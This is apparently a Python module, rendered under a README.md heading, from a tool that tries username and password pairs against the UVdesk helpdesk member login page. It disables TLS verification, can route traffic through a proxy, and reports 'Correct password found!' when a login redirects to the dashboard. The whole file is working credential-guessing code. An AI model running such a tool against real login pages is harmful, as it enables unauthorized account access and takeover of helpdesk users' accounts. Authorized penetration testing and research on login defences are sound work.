README.md
Rendering markdown...
import requests
import utils
import logging
import sys
from termcolor import colored,COLORS
from colorama import init
init(autoreset=True)
log = logging.getLogger(__name__)
class Uvdesk:
def __init__(self, url, no_proxy):
self.base_url = utils.normalize_url(url)
self.login_url = self.base_url+"/en/member/login"
self.no_proxy = no_proxy
self.session = requests.Session()
def login(self, _username, _password):
log.info(colored("Getting login page.", "blue"))
data = {
"_username": _username,
"_password": _password,
"_remember_me":"on"
}
log.info(colored(f"Attempting to login with user: {_username} and password: {_password}","blue"))
if self.no_proxy:
resp = self.session.post(self.login_url, data=data, allow_redirects=False, verify=False)
else:
resp = self.session.post(self.login_url, data=data, proxies=utils.PROXIES, verify=False, allow_redirects=False)
if self.is_solved(resp):
log.info(colored(f"Access granted with username: {_username} and password: {_password}","green"))
sys.exit(0)
else:
log.warning(colored(f"Authentication failed for username: {_username} with password: {_password}","red"))
def is_solved(self,resp):
log.info(colored("Checking if the correct user has been identified.","blue"))
if resp.status_code == 302 and f"{self.base_url}/en/member/dashboard" in resp.text:
log.info(colored("Correct password found!","green"))
return True
else:
return False